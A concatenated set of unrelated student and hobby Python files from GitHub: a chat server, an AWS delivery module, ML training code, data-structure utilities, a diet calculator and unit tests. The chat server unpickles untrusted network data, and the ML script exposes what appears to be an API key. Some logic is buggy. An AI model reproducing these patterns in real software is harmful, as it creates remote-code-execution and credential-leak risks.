0: \n continue\n factor = a[i][k]\n for j in range(k, 2*n): #index the columns for subtraction\n a[i][j] -= factor * a[k][j] #pivotbaris = a[k][j]\n for i in range(len(a)): #displaying the matrix\n for j in range(n, len(a[0])):\n print(round(a[i][j], 5), end = \" \")\n print()\n\nmatrix = []\n\nsize = int(input())\nfor i in range(size):\n matrix.append(list(map(int, input().split())))\n\nif determinant(matrix) == 0:\n print(f'Matrix tidak punya determinant.')\nelse:\n inverse(matrix)\n","repo_name":"bangkitdc/algorithmicshit","sub_path":"inversegauss(nxn).py","file_name":"inversegauss(nxn).py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25197874243","text":"from socket import *\nimport pickle\nimport sys\nimport threading\nimport collections\nimport time\n\n#####check if the mame in block list\ndef check_in_list(user,receive):\n name_list = []\n for i in user.keys():\n name_list.append(i)\n if receive not in name_list:\n return 0\n else:\n return 1\n\n######logout broadcast\ndef broadcast_logout(user,user_name):\n for i in user.keys():\n if user[i][\"status\"] == \"online\":\n return_message = f\"{user_name} logged out\\n\"\n #print(user[i][\"port\"])\n user[i][\"socket\"].send(return_message.encode())\n\n######timeout proceess\ndef handle_timeout(user,timeout_time):\n while 1:\n time.sleep(1)\n for i in user.keys():\n if user[i]['status']==\"online\":\n #print(user[i]['status'])\n if user[i]['active_time'] > 0:\n if time.time() - user[i]['active_time'] > timeout_time:\n user[i]['status'] = \"offline\"\n user[i][\"logout\"] = time.time()\n return_message = f'Your connection is timeout,please tap Enter button'\n try:\n user[i][\"socket\"].send(return_message.encode())\n user[i][\"socket\"].close()\n except OSError:\n pass\n\n######send the online status to other user\ndef broadcast_login(user,user_name):\n for i in user.keys():\n if user[i][\"status\"] == \"online\" and i != user_name:\n return_message = f\"{user_name} logged in\\n\"\n #print(user[i][\"port\"])\n user[i][\"socket\"].send(return_message.encode())\n \n#####the configuration of user\ndef auth(conn_soc,user_name,user_password,user):\n \n if user_name not in user.keys():\n return 0,\"Error. Invalid user\"\n\n if user_password!= user[user_name]['password']:\n user[user_name][\"log_in_time\"] += 1\n #print(user[user_name][\"log_in_time\"])\n if user[user_name][\"log_in_time\"] >= 3:\n user[user_name]['status'] = \"block\"\n user[user_name]['ban'] = time.time()\n return 0,\"Invalid Password. Your account has been blocked. Please try again later\\n\"\n return 0,\"Invalid Password. Please try again\\n\"\n \n if user[user_name][\"password\"] == user_password:\n if user[user_name]['status'] != \"online\":\n if type(user[user_name]['ban']) ==float:\n if time.time() - user[user_name]['ban'] >= block_duration:\n user[user_name][\"port\"] = currPort\n user[user_name]['status'] = \"online\"\n user[user_name]['active_time'] = time.time()\n user[user_name][\"log_in_time\"] = 0\n user[user_name][\"socket\"] = conn_soc\n return 1,\"Welcome to the greatest messaging application ever!\\n\"\n else:\n return 0,\"Your account is blocked due to multiple login failures. Please try again later\\n\"\n else:\n user[user_name][\"port\"] = currPort\n user[user_name]['status'] = \"online\"\n user[user_name]['active_time'] = time.time()\n user[user_name][\"log_in_time\"] = 0\n user[user_name][\"socket\"] = conn_soc\n return 1,\"Welcome to the greatest messaging application ever!\\n\"\n else:\n return 0, \"user already logged in\\n\"\n\n\n####process the command\ndef tcp(serverSocket,conn_soc,user,timeout):\n while True:\n try:\n user_info= pickle.loads(conn_soc.recv(1024))\n except Exception:\n break\n user_name = user_info[0]\n user_password = user_info[1]\n \n #print(user_info)\n status, message = auth(conn_soc,user_name,user_password,user)\n \n if status == 1:####success login\n #login time\n user[user_name][\"login\"] = time.time()\n block_list = []\n \n #print(user)\n broadcast_login(user,user_name)\n return_message = message.encode()\n conn_soc.send(return_message)\n #handle the offline message\n if user[user_name][\"status\"] == \"online\":\n for i in user[user_name][\"offline_msg\"]:\n user[user_name][\"socket\"].send(i.encode())\n\n while True:\n try:\n received = conn_soc.recv(2048)\n except OSError:\n print(\"connection has closed\")\n break\n received = received.decode()\n received = received.split()\n #print(received)\n try:\n try:\n if \"message\" == received[0] and user_name not in user[received[1]][\"block\"]:\n try:\n return_message = f'{user_name}: {\" \".join(received[2:])}'\n user[user_name][\"active_time\"] = time.time()\n user[received[1]][\"socket\"].send(return_message.encode())\n \n except Exception:\n return_message = f'{user_name}: {\" \".join(received[2:])}\\n'\n user[user_name][\"active_time\"] = time.time()\n user[received[1]][\"offline_msg\"].append(return_message)\n\n elif \"block\" == received[0] and received[1] != user_name and check_in_list(user,received[1]):\n block_list.append(received[1])\n user[user_name][\"active_time\"] = time.time()\n user[user_name][\"block\"].append(received[1])\n return_message = f'{received[1]} is blocked'\n user[user_name][\"socket\"].send(return_message.encode())\n\n elif \"message\" == received[0] and user_name in user[received[1]][\"block\"]:\n user[user_name][\"active_time\"] = time.time()\n return_message = f'Your message could not be delivered as the recipient has blocked you'\n user[user_name][\"socket\"].send(return_message.encode())\n \n elif \"block\" == received[0] and received[1] == user_name and check_in_list(user,received[1]):\n user[user_name][\"active_time\"] = time.time()\n return_message = f'Error. Cannot block self'\n user[user_name][\"socket\"].send(return_message.encode())\n\n elif \"unblock\" == received[0] and received[1] not in user[user_name][\"block\"]:\n user[user_name][\"active_time\"] = time.time()\n return_message = f'Error. {received[1]} was not blocked '\n user[user_name][\"socket\"].send(return_message.encode())\n\n elif \"unblock\" == received[0] and received[1]in user[user_name][\"block\"]:\n user[user_name][\"active_time\"] = time.time()\n return_message = f'{received[1]} is unblocked '\n user[user_name][\"socket\"].send(return_message.encode())\n user[user_name][\"block\"].remove(received[1])\n\n elif \"broadcast\" == received[0] and received[1] in block_list:\n user[user_name][\"active_time\"] = time.time()\n return_message = f'Your message could not be delivered to some recipients'\n user[user_name][\"socket\"].send(return_message.encode())\n #print(1)\n for i in user.keys():\n if user[i][\"status\"] == \"online\" and i != user_name and user_name not in user[i][\"block\"]:\n return_message = f'{user_name}: {\" \".join(received[1:])}'\n user[i][\"socket\"].send(return_message.encode())\n\n elif \"broadcast\" == received[0] and received[1] not in block_list:\n user[user_name][\"active_time\"] = time.time()\n #print(block_list)\n for i in user.keys():\n if user[i][\"status\"] == \"online\" and i != user_name:\n #print(2)\n return_message = f'{user_name}: {\" \".join(received[1:])}'\n user[i][\"socket\"].send(return_message.encode())\n\n elif \"whoelse\" == received[0]:\n user[user_name][\"active_time\"] = time.time()\n for i in user.keys():\n if user[i][\"status\"] == \"online\" and i != user_name:\n return_message = f'{i}'\n user[user_name][\"socket\"].send(return_message.encode())\n \n elif \"logout\" == received[0]:\n user[user_name][\"active_time\"] = time.time()\n user[user_name][\"status\"] = \"offline\"\n user[user_name][\"logout\"] = time.time()\n broadcast_logout(user,user_name)\n conn_soc.close()\n \n elif \"whoelsesince\" == received[0]:\n for i in user.keys():\n if time.time() - float(received[1]) < user[i][\"login\"] and i != user_name:\n return_message = f'{i}\\n'\n user[user_name][\"socket\"].send(return_message.encode())\n\n elif \"startprivate\" == received[0] and user[received[1]][\"status\"] == \"online\" and received[1] not in block_list:\n pass\n \n\n elif \"private\" == received[0]:\n return_message = f'Error. Private messaging to {received[1]} not enabled'\n user[user_name][\"socket\"].send(return_message.encode())\n\n else:\n user[user_name][\"active_time\"] = time.time()\n return_message = f'Error. Invalid command'\n user[user_name][\"socket\"].send(return_message.encode())\n\n except KeyError:\n user[user_name][\"active_time\"] = time.time()\n return_message = f'Error. Invalid user'\n user[user_name][\"socket\"].send(return_message.encode())\n except IndexError:\n user[user_name][\"socket\"].close()\n #conn_soc.settimeout(timeout)######time out\n else:#####failure login\n conn_soc.send(message.encode())\n \n \n \n\n \ndef each_client(currPort,user,timeout):\n #welcome socket\n serverSocket = socket(AF_INET, SOCK_STREAM)\n serverSocket.bind((serverName, currPort))\n serverSocket.listen(0) \n #print(currPort)\n \n\n ####add time out function\n while True:\n connectionSocket, addr = serverSocket.accept()#current connection\n t = threading.Thread(target = tcp,args = (serverSocket,connectionSocket,user,timeout))\n t.setDaemon(True)\n t.start()\n\ndef main(server_port,block_duration,time_out):\n global currPort\n user = dict()\n serverName = \"localhost\"\n with open('credentials.txt') as file:\n for i in file:\n i = i.rstrip()\n i = i.split(' ')\n user[i[0]] = {}\n user[i[0]][\"password\"] = i[1]\n user[i[0]][\"status\"] = \"offline\"#online 1; offline2;blocked3\n user[i[0]][\"ban\"] = ''\n user[i[0]][\"active_time\"] = ''\n user[i[0]][\"log_in_time\"] = 0\n user[i[0]][\"port\"] = 0\n user[i[0]][\"socket\"] = None\n user[i[0]][\"block\"] = []\n user[i[0]][\"offline_msg\"] = [] \n user[i[0]][\"login\"] = 0 \n user[i[0]][\"logout\"] = 0 \n \n #print(user)\n \n ##setuo welcome socket\n serverSocket = socket(AF_INET, SOCK_STREAM)\n serverSocket.bind((serverName, server_port))\n serverSocket.listen(0)\n timeout = threading.Thread(target=handle_timeout, args=(user,time_out))\n timeout.setDaemon(True)\n timeout.start()\n\n #give each client a new port num\n while True:\n connectionSocket, addr = serverSocket.accept()\n connectionSocket.send(str(currPort).encode())\n connectionSocket.close()\n t1 = threading.Thread(target = each_client, args=(currPort,user,time_out))\n t1.setDaemon(True)\n t1.start()\n currPort += 1\n \n\n \nif __name__ == \"__main__\":\n serverName = \"localhost\"\n server_port = int(sys.argv[1])\n currPort = int(sys.argv[1]) + 1\n block_duration = int(sys.argv[2])\n time_out = int(sys.argv[3])\n private_port = 7000\n \n\n #three parameters\n main(server_port,block_duration,time_out)\n \n \n ","repo_name":"kyrie96521/COMP93_31","sub_path":"ass/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":13409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42474840397","text":"from .external_producer import ExternalProducer, ExternalProducerException\nfrom .customer_service_manager import CustomerServiceManager\nfrom .order_manager import OrderManager\nfrom boto3 import client\nfrom os import getenv\nfrom datetime import datetime\nimport json\n\n\nclass DeliveryManagerException(ExternalProducerException):\n pass\n\n\nclass EmptyParameterException(DeliveryManagerException):\n pass\n\n\nclass DeliveryManager(ExternalProducer):\n event_type = 'order_fulfilled'\n\n def __init__(self):\n \"\"\"\n \"\"\"\n region_name = getenv('REGION')\n if not region_name:\n detail = 'ENV variable \"REGION\" can\\'t be empty'\n raise EmptyParameterException(detail)\n\n delivery_company_queue = getenv('DELIVERY_COMPANY_QUEUE')\n if not delivery_company_queue:\n detail = 'ENV variable \"DELIVERY_COMPANY_QUEUE\" can\\'t be empty'\n raise EmptyParameterException(detail)\n\n self.region_name = region_name\n self.delivery_company_queue = delivery_company_queue\n\n self.sqs_client = client(\n 'sqs',\n region_name=region_name\n )\n\n def handle_orders(self, records: list):\n \"\"\"Handling the fulfilled records\n \"\"\"\n notification_results = []\n\n for record in records:\n order = OrderManager(record.get('order_id', {}).get('S', ''))\n order.update_order_for_delivery()\n\n notification_result = self.notify_delivery_company(order.order)\n notification_results.append(notification_result)\n\n def notify_delivery_company(self, order: dict):\n \"\"\"\n \"\"\"\n params = {\n 'MessageBody': json.dumps(order),\n 'QueueUrl': self.delivery_company_queue\n }\n\n response = self.sqs_client.send_message(**params)\n\n return response\n\n def order_delivered(self, order_id, delivery_company_id, order_review):\n \"\"\"\n \"\"\"\n result = self.update_order_after_delivery(order_id, delivery_company_id)\n if not result:\n detail = f'Can\\'t find order with id: [{order_id}]'\n return detail\n\n cm = CustomerServiceManager()\n cm.notify_customer_service_for_review(order_id, order_review)\n\n detail = f'Order with order_id [{order_id}] was delivered successfully by company with ' \\\n f'company_id: [{delivery_company_id}]'\n\n return detail\n\n def update_order_after_delivery(self, order_id, delivery_company_id):\n \"\"\"\n \"\"\"\n order = OrderManager(order_id)\n result = order.get_order_from_dynamodb()\n if not result:\n return False\n\n order.order['delivery_company_id'] = {\n 'S': delivery_company_id\n }\n\n order.order['delivery_date'] = {\n 'N': str(int(datetime.now().timestamp()))\n }\n\n order.save_order_in_dynamo()\n\n return order\n","repo_name":"mohovkm/cake_ordering_system_aws_python","sub_path":"app/modules/delivery_manager.py","file_name":"delivery_manager.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29413572296","text":"import time, DAN, requests\nfrom random import *\n\nServerIP = '140.113.199.204' #Change to your IoTtalk IP or None for autoSearching\nReg_addr='0516310' #None # if None, Reg_addr = MAC address\n\nDAN.profile['dm_name']='0516310'\nDAN.profile['df_list']=['0516310']\nDAN.profile['d_name']= None # None for autoNaming\nDAN.device_registration_with_retry(ServerIP, Reg_addr)\n\nwhile True:\n try:\n #Pull data from a device feature called \"Dummy_Control\"\n value1 = DAN.pull('0516310')\n if value1 != None and value1 != [None]:\n if value1[0] == 1:\n print('up')\n else :\n print('down')\n\n\n #Push data to a device feature called \"Dummy_Sensor\"\n # value2=randint(1, 100)\n # DAN.push ('Dummy_Sensor', value2)\n\n except Exception as e:\n print(e)\n DAN.device_registration_with_retry(ServerIP, Reg_addr)\n\n time.sleep(0.2)\n","repo_name":"FrankLu007/IOT_Dummy_Device","sub_path":"Python/DAI.py","file_name":"DAI.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37471733670","text":"### Importing the libraries ###\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n \n\n\n### Loading the dataset ###\n\nX = pd.read_csv('CSV 1.csv')\nX2 = pd.read_csv('CSV 2.csv')\nX3 = pd.read_csv('CSV 3.csv')\n#We do not use X2 or X3 beacuse all the values were simply 0 so they won't be very helpful\n\n#Selecting the grade feature as the ground-truth\ny = X.iloc[:,-1].values\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nle = LabelEncoder()\ny[:]=le.fit_transform(y[:])\ny=y.astype(int)\nprices = X.iloc[:,13].values\n\n### Pre-processing the data ###\n\n#Filling the missing values\nX['stateOrProvince']=X['stateOrProvince'].fillna('U') #For unknown string values used 'U'\nX['unitNumber']=X['unitNumber'].fillna('U')\nX['geocodioAccuracyScore'] = X['geocodioAccuracyScore'].fillna(-1) # For unknown numerical values used -1\nX['numParkingSpaces']=X['numParkingSpaces'].fillna(-1)\n\n#Imputing the missing values with mean\nXt = X.iloc[:,1:].values\nfrom sklearn.preprocessing import Imputer\nimputer=Imputer(missing_values ='NaN',strategy = 'mean',axis = 0)\nimputer = imputer.fit(Xt[:,15:17])\nXt[:,15:17] = imputer.transform(Xt[:,15:17])\nimputer = imputer.fit(Xt[:,13:14])\nXt[:,13:14] = imputer.transform(Xt[:,13:14])\n\n# Geo-coding for the latitude and longitude sadly I don't have an api key hence i'm imputing the latitude and longitude\n\"\"\"\nfrom geopy import geocoders\napi_key = 'AIzaSyBXkATWIrQyNX6T-VRa2gRmC9dJRoqzss0'\ng = geocoders.GoogleV3(api_key=api_key) \nlocation = Xt[:,2] +', '+ Xt[:,0] + ', ' + Xt[:,1] \nfor loc in location :\n try:\n place, (lat, lng) = g.geocode(loc)\n except ValueError as error_message:\n print(\"Error: geocode failed on input %s with message %s\" % (location, error_message))\n print (place, lat, lng)\n\n\"\"\"\nimputer = imputer.fit(Xt[:,10:12])\nXt[:,10:12]= imputer.transform(Xt[:,10:12])\n\n# Label Encoding\nXt[:,0]= le.fit_transform(Xt[:,0])\nXt[:,1]= le.fit_transform(Xt[:,1])\nXt[:,2]= le.fit_transform(Xt[:,2])\nXt[:,3]= le.fit_transform(Xt[:,3])\nXt[:,4]= le.fit_transform(Xt[:,4])\nXt[:,5]= le.fit_transform(Xt[:,5])\nXt[:,9]= le.fit_transform(Xt[:,9])\nXt[:,14]= le.fit_transform(Xt[:,14])\nXt[:,17]= le.fit_transform(Xt[:,17])\nXt[:,18]= le.fit_transform(Xt[:,18])\nXt[:,19]= le.fit_transform(Xt[:,19])\nXt[:,20]= le.fit_transform(Xt[:,20])\nXt[:,21]= le.fit_transform(Xt[:,21])\n\n# Dropping the description column \nXt = np.delete(Xt,8,1) # we will Xt to train the classification model\n# Dropping the price column for the regression model\nXpt = np.delete(Xt,11,1) # we will use Xpt to train the regression model\n# Dropping the grade column for the classification model\nXt = np.delete(Xt,23,1)\n\n\n# onehot encoding some of the important categorical features (although most of the features are categorcal still we used only few colums to avoid the curse of dimensionality)\nonehotencoder = OneHotEncoder(categorical_features =[1,4,14,17,18,19])\nXt= onehotencoder.fit_transform(Xt).toarray()\nonehotencoder = OneHotEncoder(categorical_features =[1,4,13,16,17,18])\nXpt = onehotencoder.fit_transform(Xpt).toarray()\n\n\n### Building the machine learning models ###\n\n# Splitting the dataset into train and test data\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(Xt, y, test_size = 0.2, random_state = 0)\nXp_train, Xp_test, yp_train, yp_test = train_test_split(Xpt, prices, test_size = 0.2, random_state = 0)\n\n\n# Scaling the dataset to bring all the fetures with mean 0 and standard deviation between 0-1\nfrom sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\nXp_train = sc_X.fit_transform(Xp_train)\nXp_test = sc_X.transform(Xp_test)\n\n\n# Training and prediction for the grade classification\nfrom sklearn.svm import SVC # Support Vector Classification using linear kernel\nclassifier1 = SVC(kernel='linear')\nclassifier1.fit(X_train,y_train)\ny_pred = classifier1.predict(X_test)\n\n# Making the confusion matrix and evaluating the metrics\nfrom sklearn.metrics import accuracy_score, f1_score, precision_score, recall_score, classification_report, confusion_matrix\ncm = confusion_matrix(y_test,y_pred)\nprint('Classification model metrics : ')\nprint('1.F1 score = ',f1_score(y_test, y_pred, average=\"macro\"))\nprint('2.Precision score = ',precision_score(y_test, y_pred, average=\"macro\"))\nprint('3.Recall score = ',recall_score(y_test, y_pred, average=\"macro\")) \nprint('4.Accuracy score = ',accuracy_score(y_test, y_pred))\n\n \n# Regression model for price prediction\nyp_train = yp_train.astype(int)\nyp_test = yp_test.astype(int)\nfrom sklearn.svm import SVR #Support Vector Regression using rbf kernel\nregressor = SVR(kernel='rbf')\nregressor.fit(Xp_train,yp_train)\nyp_pred = regressor.predict(Xp_test)\n\n# Calculating the rmse\nfrom sklearn.metrics import mean_squared_error\nfrom math import sqrt\nrms = sqrt(mean_squared_error(yp_test, yp_pred))\nprint('Regression Model Metrics : ')\nprint('1.RMSE = ',rms) \n\n\n\n\n\n\n\n","repo_name":"greengangsta/Nobbas-Tech-Intern","sub_path":"soln.py","file_name":"soln.py","file_ext":"py","file_size_in_byte":4997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73865480802","text":"# Timer and complicate data stractures\n\n\nfrom functools import wraps\nimport time\nimport queue\n\n\nclass Node:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n def __repr__(self):\n return f\"{self.val} -> {self.next}\"\n\n\nclass Linkedlist:\n def __init__(self, array=None):\n self.head = None\n self.size = 0\n\n if array:\n self.create_by_list(array)\n\n def __len__(self):\n return self.size\n\n def __repr__(self):\n return f\": {self.head}\"\n\n def create_by_list(self, array):\n temp = self.head\n for item in array:\n if not temp:\n temp = Node(item)\n self.head = temp\n else:\n temp.next = Node(item)\n temp = temp.next\n self.size += 1\n\n def append(self, x):\n head = self.head\n if not head:\n head = Node(x)\n else:\n head.next = Node(x)\n self.size += 1\n\n def reverse(self):\n\n prev = None\n head = self.head\n while head:\n temp = head.next\n head.next = prev\n\n prev = head\n head = temp\n self.head = prev\n\n def get_node(self, index):\n if index >= self.size:\n raise ValueError('Index out of range')\n\n last = self.head\n while index > 0:\n last = last.next\n index -= 1\n\n return last\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass BinaryTree:\n def __init__(self, array=None):\n self.root = None\n\n if array:\n self.create_by_list(array)\n\n def create_by_list(self, array):\n self.root = self._create(array, 0)\n pass\n\n def _create(self, array, index):\n if index >= len(array):\n return None\n\n if array[index] is None:\n return None\n\n node = TreeNode(array[index])\n node.left = self._create(array, 2*index + 1)\n node.right = self._create(array, 2*index + 2)\n\n return node\n\n def breadth_traversal(self):\n q = queue.Queue()\n q.put(self.root)\n\n while not q.empty():\n node = q.get()\n if node:\n if node.left:\n q.put(node.left)\n if node.right:\n q.put(node.right)\n print(node.val)\n\n def depth_traversal(self):\n self._depth_traversal(self.root)\n\n def _depth_traversal(self, root):\n if not root:\n return\n print(root.val)\n self._depth_traversal(root.left)\n self._depth_traversal(root.right)\n\ndef time_it(func):\n @wraps(func)\n def inner(*args):\n date = ('{}-{}-{} {}:{}:{}').format(*time.localtime(time.time()))\n t0 = time.perf_counter_ns()\n _result = func(*args)\n elapsed = (time.perf_counter_ns() - t0)/1000\n if _result is not None:\n print(f'[{date}]: [{elapsed:0.4f}ms]{func.__name__} -> {_result}')\n else:\n print(f'[{date}]: [{elapsed:0.4f}ms]{func.__name__}')\n return _result\n return inner\n","repo_name":"XuanYang-cn/leetcode","sub_path":"schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"73157913120","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[23]:\n\n\n# 입력 함수 \n# 이름, 나이, 성별, 키, 몸무게, 근육량\ndef Main_Data():\n arr_data = []\n arr_data.append(input(\"아이디 : \")) # 0\n arr_data.append(int(input(\"나이 : \"))) # 1\n arr_data.append(int(input(\"성별 : 남자(1), 여자(2)\"))) # 2\n arr_data.append(float(input(\"키 : \"))) # 3\n arr_data.append(float(input(\"체중 : \"))) # 4\n arr_data.append(float(input(\"근육량 : 모르면 0 입력\"))) # 5\n arr_data.append(int(input(\"주당 운동 시간 : \"))) # 6\n if arr_data[5] == 0:\n if arr_data[2] == 1:\n arr_data[5] = 28.0\n arr_data[2] = \"남자\"\n else:\n arr_data[5] = 20.0\n arr_data[2] = \"여자\" \n else:\n if arr_data[2] == 1:\n arr_data[2] = \"남자\"\n else:\n arr_data[2] = \"여자\"\n print()\n print(f\"이름 : {arr_data[0]}\")\n print(f\"나이 : {arr_data[1]}\")\n print(f\"성별 : {arr_data[2]}\")\n print(f\"키 : {arr_data[3]}\")\n print(f\"체중 : {arr_data[4]}\")\n print(f\"근육량 : {arr_data[5]}\")\n print(f\"주당 활동 시간 : {arr_data[6]}\")\n print()\n return(arr_data)\n\n# 기초 대사량 (BMC), 활동 대사량(Act_BMC)\ndef BMC(): \n if user_data[2] == \"남자\":\n BMC = 66.47 + (13.75 * user_data[5]) + (5 * user_data[3]) - (6.76 * user_data[1])\n else : # 여자\n BMC = 665.1 + (9.56 * user_data[5]) + (1.85 * user_data[3]) - (4.68 * user_data[1])\n # 활동 대사량(Act_BMC)\n Act_lev = user_data[6]\n if 0 < Act_lev < 2:\n Act_BMC = BMC + int((BMC * 0.3))\n Low = Act_BMC\n lev = \"low\"\n print(\"당신의 활동량은 낮은 수준입니다.\")\n return(Low, lev)\n elif 2 <= Act_lev < 5:\n Act_BMC = BMC + int((BMC * 0.5))\n Normal = Act_BMC\n lev = \"normal\"\n print(\"당신의 활동량은 중간 수준입니다.\")\n return(Normal, lev)\n elif Act_lev >= 5:\n Act_BMC = BMC + int((BMC * 0.75))\n High = Act_BMC\n lev = \"high\"\n print(\"당신의 활동량은 높은 수준입니다.\")\n return(High, lev)\n \n\n\n# 식단 목적별 분류\ndef What(Act_BMC, lev):\n what = int(input(\"식단 목적 다이어트 = 0, 증량 = 1, 유지 = 2\"))\n meal = []\n protein = user_data[4] * 2 # 섭취 단백질량\n if what == 0:\n print(\"식단의 목적 : 다이어트\")\n # Diet == 활동 대사량 - 500 \n Diet_kcal = Act_BMC - 500\n BMC_Diet = Diet_kcal - (protein * 4) # 단백질 칼로리를 제외한 활동 칼로리 \n carb = int((BMC_Diet * 0.7)) # 탄수화물 kcal \n fat = int(BMC_Diet * 0.3) # 지방 kcal \n my_carb = int(carb / 4) #탄수화물 g \n my_fat = int(fat / 9) # 지방 g \n meal.append(Diet_kcal)\n meal.append(BMC_Diet)\n meal.append(carb)\n meal.append(fat)\n meal.append(my_carb)\n meal.append(my_fat)\n print(f\"총 칼로리 :{meal[0]}\")\n print(f\"섭취 탄수화물 :{meal[4]}g\")\n print(f\"섭취 단백질 :{protein}g\")\n print(f\"섭취 지방 :{meal[5]}g\") \n return(meal)\n \n # 증량 == 기본 양식 활동 대사량 + 100 활동량에 따라 변화\n elif what == 1:\n print(\"식단의 목적 : 증량\")\n # Act_lev == 낮음 \n if lev == \"low\":\n print(\"활동량이 낮기 때문에 활동 대사량 + 300kcal에서 시작합니다\")\n Plus_300_kcal = Act_BMC + 300\n BMC_Plus = Plus_300_kcal - (protein * 4) # 단백질 칼로리를 제외한 활동 칼로리 \n carb = int((BMC_Plus * 0.7)) # 탄수화물 kcal \n fat = int(BMC_Plus * 0.3) # 지방 kcal \n my_carb = int(carb / 4) #탄수화물 g\n my_fat = int(fat / 9) # 지방 g\n meal.append(Plus_300_kcal)\n meal.append(BMC_Plus)\n meal.append(carb)\n meal.append(fat)\n meal.append(my_carb)\n meal.append(my_fat)\n print(f\"총 칼로리 :{meal[0]}\")\n print(f\"섭취 탄수화물 :{meal[4]}g\")\n print(f\"섭취 단백질 :{protein}g\")\n print(f\"섭취 지방 :{meal[5]}g\") \n return(meal)\n \n # Act_lev == 중간 \n elif lev == \"normal\":\n print(\"활동량이 적당하기 때문에 활동 대사량 + 400kcal에서 시작합니다\")\n Plus_400_kcal = Act_BMC + 300\n BMC_Plus = Plus_400_kcal - (protein * 4) # 단백질 칼로리를 제외한 활동 칼로리 \n carb = int((BMC_Plus * 0.7)) # 탄수화물 kcal \n fat = int(BMC_Plus * 0.3) # 지방 kcal \n my_carb = int(carb / 4) #탄수화물 g\n my_fat = int(fat / 9) # 지방 g\n meal.append(Plus_400_kcal)\n meal.append(BMC_Plus)\n meal.append(carb)\n meal.append(fat)\n meal.append(my_carb)\n meal.append(my_fat)\n print(f\"총 칼로리 :{meal[0]}\")\n print(f\"섭취 탄수화물 :{meal[4]}g\")\n print(f\"섭취 단백질 :{protein}g\")\n print(f\"섭취 지방 :{meal[5]}g\") \n return(meal)\n \n # Act_lev == 높음\n elif lev == \"high\":\n print(\"활동량이 높기 때문에 활동 대사량 + 500kcal에서 시작합니다\")\n Plus_500_kcal = Act_BMC + 300\n BMC_Plus = Plus_500_kcal - (protein * 4) # 단백질 칼로리를 제외한 활동 칼로리 \n carb = int((BMC_Plus * 0.7)) # 탄수화물 kcal \n fat = int(BMC_Plus * 0.3) # 지방 kcal \n my_carb = int(carb / 4) #탄수화물 g\n my_fat = int(fat / 9) # 지방 g\n meal.append(Plus_500_kcal)\n meal.append(BMC_Plus)\n meal.append(carb)\n meal.append(fat)\n meal.append(my_carb)\n meal.append(my_fat)\n print(f\"총 칼로리 :{meal[0]}\")\n print(f\"섭취 탄수화물 :{meal[4]}g\")\n print(f\"섭취 단백질 :{protein}g\")\n print(f\"섭취 지방 :{meal[5]}g\") \n return(meal)\n\nuser_data = []\nuser_data = Main_Data()\nAct_BMC, lev = BMC()\nmeal_data = []\nmeal_data = What(Act_BMC, lev)\n\n\n# In[19]:\n\n\na = 1\nb = 2\nc = 3\narr = []\narr.append(a)\narr.append(b)\narr.append(c)\nprint(arr)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"gusxo999/DietRecommendingAPP","sub_path":"CODE.py","file_name":"CODE.py","file_ext":"py","file_size_in_byte":6460,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30328209961","text":"\"\"\"\nUnit tests acv backend.\n\"\"\"\n\nimport unittest\nimport numpy as np\nimport pandas as pd\nimport sklearn.ensemble as ske\nimport xgboost as xgb\nimport category_encoders as ce\nfrom shapash.backend.lime_backend import LimeBackend\n\n\nclass TestAcvBackend(unittest.TestCase):\n def setUp(self):\n self.model_list = [\n xgb.XGBClassifier(n_estimators=1),\n ske.RandomForestClassifier(n_estimators=1),\n ske.RandomForestRegressor(n_estimators=1),\n ske.GradientBoostingRegressor(n_estimators=1)\n ]\n\n df = pd.DataFrame(range(0, 4), columns=['id'])\n df['y'] = df['id'].apply(lambda x: 1 if x < 3 else 0)\n df['x1'] = np.random.randint(1, 123, df.shape[0])\n df['x2'] = np.random.randint(1, 3, df.shape[0])\n df = df.set_index('id')\n self.x_df = df[['x1', 'x2']]\n self.y_df = df['y'].to_frame()\n\n def test_init(self):\n for model in self.model_list:\n print(type(model))\n model.fit(self.x_df, self.y_df)\n backend_xpl = LimeBackend(model)\n assert hasattr(backend_xpl, 'explainer')\n\n backend_xpl = LimeBackend(model, data=self.x_df)\n assert hasattr(backend_xpl, 'data')\n\n backend_xpl = LimeBackend(model, preprocessing=ce.OrdinalEncoder())\n assert hasattr(backend_xpl, 'preprocessing')\n assert isinstance(backend_xpl.preprocessing, ce.OrdinalEncoder)\n\n def test_get_global_contributions(self):\n for model in self.model_list:\n print(type(model))\n model.fit(self.x_df.values, self.y_df)\n backend_xpl = LimeBackend(model, data=self.x_df)\n explain_data = backend_xpl.run_explainer(self.x_df)\n contributions = backend_xpl.get_local_contributions(self.x_df, explain_data)\n\n assert contributions is not None\n assert isinstance(contributions, (list, pd.DataFrame, np.ndarray))\n if isinstance(contributions, list):\n # Case classification\n assert len(contributions[0]) == len(self.x_df)\n else:\n assert len(contributions) == len(self.x_df)\n\n features_imp = backend_xpl.get_global_features_importance(contributions, explain_data)\n assert isinstance(features_imp, (pd.Series, list))\n if isinstance(features_imp, list):\n # Case classification\n assert len(features_imp[0]) == len(self.x_df.columns)\n else:\n assert len(features_imp) == 